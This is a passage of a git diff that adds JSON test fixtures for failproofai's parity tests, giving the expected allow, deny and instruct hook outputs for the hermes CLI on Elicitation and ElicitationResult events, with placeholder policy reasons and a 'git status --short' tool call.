"Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"decision\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/Elicitation/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/hermes/Elicitation/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..57187773 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/Elicitation/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "hermes", + "decision_kind": "instruct", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"decision\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/Elicitation/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/hermes/Elicitation/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..49cbf7a1 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/Elicitation/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "hermes", + "decision_kind": "instruct", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"decision\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/ElicitationResult/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/hermes/ElicitationResult/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..681a00b0 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/ElicitationResult/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "hermes", + "decision_kind": "allow-silent", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/ElicitationResult/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/hermes/ElicitationResult/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..f879652c --- /dev/null +++ b/__tests__/parity/fixtures/hermes/ElicitationResult/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "hermes", + "decision_kind": "allow-silent", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/ElicitationResult/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/hermes/ElicitationResult/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..641076d1 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/ElicitationResult/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "hermes", + "decision_kind": "allow-silent", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/ElicitationResult/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/hermes/ElicitationResult/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..5e405125 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/ElicitationResult/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "hermes", + "decision_kind": "allow-silent", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/ElicitationResult/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/hermes/ElicitationResult/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..cdf2a718 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/ElicitationResult/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "hermes", + "decision_kind": "allow-with-reason", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/ElicitationResult/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/hermes/ElicitationResult/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..26c743db --- /dev/null +++ b/__tests__/parity/fixtures/hermes/ElicitationResult/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "hermes", + "decision_kind": "allow-with-reason", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/ElicitationResult/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/hermes/ElicitationResult/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..5e0874d0 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/ElicitationResult/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "hermes", + "decision_kind": "allow-with-reason", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/ElicitationResult/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/hermes/ElicitationResult/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..65f3c2cd --- /dev/null +++ b/__tests__/parity/fixtures/hermes/ElicitationResult/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "hermes", + "decision_kind": "allow-with-reason", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/ElicitationResult/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/hermes/ElicitationResult/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..661017a7 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/ElicitationResult/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "hermes", + "decision_kind": "deny", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/ElicitationResult/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/hermes/ElicitationResult/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..38212d11 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/ElicitationResult/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "hermes", + "decision_kind": "deny", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/ElicitationResult/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/hermes/ElicitationResult/deny__tool-present__one-policy.json new file mode 100644 index 00000000..66ba6d23 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/ElicitationResult/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "hermes", + "decision_kind": "deny", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/ElicitationResult/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/hermes/ElicitationResult/deny__tool-present__two-policies.json new file mode 100644 index 00000000..211f85d3 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/ElicitationResult/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "hermes", + "decision_kind": "deny", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/ElicitationResult/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/hermes/ElicitationResult/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..1b6e4a7a --- /dev/null +++ b/__tests__/parity/fixtures/hermes/ElicitationResult/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "hermes", + "decision_kind": "instruct", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"decision\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/ElicitationResult/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/hermes/ElicitationResult/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..84ddb860 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/ElicitationResult/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "hermes", + "decision_kind": "instruct", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"decision\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/ElicitationResult/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/hermes/ElicitationResult/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..528a6288 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/ElicitationResult/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "hermes", + "decision_kind": "instruct", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"decision\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/ElicitationResult/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/hermes/ElicitationResult/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..ed83859f --- /dev/null +++ b/__tests__/parity/fixtures/hermes/ElicitationResult/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "hermes", + "decision_kind": "instruct", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" 